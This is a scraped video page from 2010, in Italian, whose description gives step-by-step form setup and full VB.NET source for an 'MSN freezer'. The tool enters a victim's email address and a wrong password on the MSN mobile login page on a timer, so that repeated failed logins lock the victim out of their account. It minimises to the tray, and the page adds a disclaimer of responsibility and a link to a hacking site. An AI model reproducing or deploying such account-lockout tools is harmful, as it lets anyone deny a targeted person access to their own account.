msn freezer vb8

Loading...

Sign in or sign up now!
Alert icon
Upgrade to the latest Flash Player for improved playback performance. Upgrade now or more info.
1,635
Loading...
Alert icon
Sign in or sign up now!
Alert icon

Uploaded by on Apr 1, 2010

inserire un label
3 button
u webbrowser
un icon
un timer
un textbox
checbox
dopo aver ftt tutto (dovete inserire tutto cio che vi ho dtt per forza se no nn funge)
schiacciate 2 volte nel primo button cancellate tutto la pagina deve rimanere bianca ed iserite sti codici
Imports System.Threading.Thread

Public Class Form1 Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click If TextBox1.Text = "" Then MsgBox("Inserisci L'ema-il della vittima", MsgBoxStyle.Information, "Ema-il") Else If CheckBox1.Checked = True Then Me.WindowState = FormWindowState.Minimized Timer1.Enabled = True Label1.Text = "Freeze..." Else Timer1.Enabled = True Label1.Text = "Freeze.." End If End If End Sub Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load WebBrowser1.Navigate("http://Mobile.msn.com/hm/folder.phpx") End Sub Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click Timer1.Enabled = False TextBox1.Text = "Msn Unfreeze" Label1.Text = "Pronto" End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick On Error GoTo errordetected WebBrowser1.Document.GetElementById("LoginTextBox").SetAttribute("value", (TextBox1.Text)) WebBrowser1.Document.GetElementById("PasswordTextBox").SetAttribute("value", ("pass123456")) Sleep(2000) WebBrowser1.Document.GetElementById("PasswordSubMit").InvokeMember("click") GoTo done
errordetected: Label1.Text = "Freeze" WebBrowser1.Navigate("http://Mobile.msn.com/hm/folder.phpx")
done: End Sub Private Sub Form1_Resize(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Resize If Me.WindowState = FormWindowState.Minimized Then Me.Hide() NotifyIcon1.Visible = True End If End Sub Private Sub NotifyIcon1_MouseDoubleCLick(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles NotifyIcon1.MouseDoubleClick Me.Show() Me.WindowState = FormWindowState.Normal NotifyIcon1.Visible = False End Sub Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click Dim i As String = InputBox("Inserisci il tempo della durata del freeze (Millisecondi)") If i = "" Then Else Timer1.Interval = i MsgBox("Velocità settata : " & Timer1.Interval) End If End Sub Private Sub ToolStrip1_ItemClicked(ByVal sender As System.Object, ByVal e As System.Windows.Forms.ToolStripItemClickedEventArgs) End Sub
End Class

il primo button serve pèer freezer l secondo per uni freezer e il terzo la durata
nn mi assumo nessuna responsabilita all uso che ne fate il video e solo a scopo illustrativo ed educativo

VISITATE IL MIO SITO http://hackerego.oneminutesite.it/

Link to this comment:

Share to:
see all

All Comments (4)

Sign In or Sign Up now to post a comment!
  • @fabionightt tuo padre

  • noob

Loading...
Alert icon
0 / 00Unsaved Playlist Return to active list
    1. Your queue is empty. Add videos to your queue using this button:
      or sign in to load a different list.
    Loading...Loading...Saving...
    • Clear all videos from this list
    • Learn more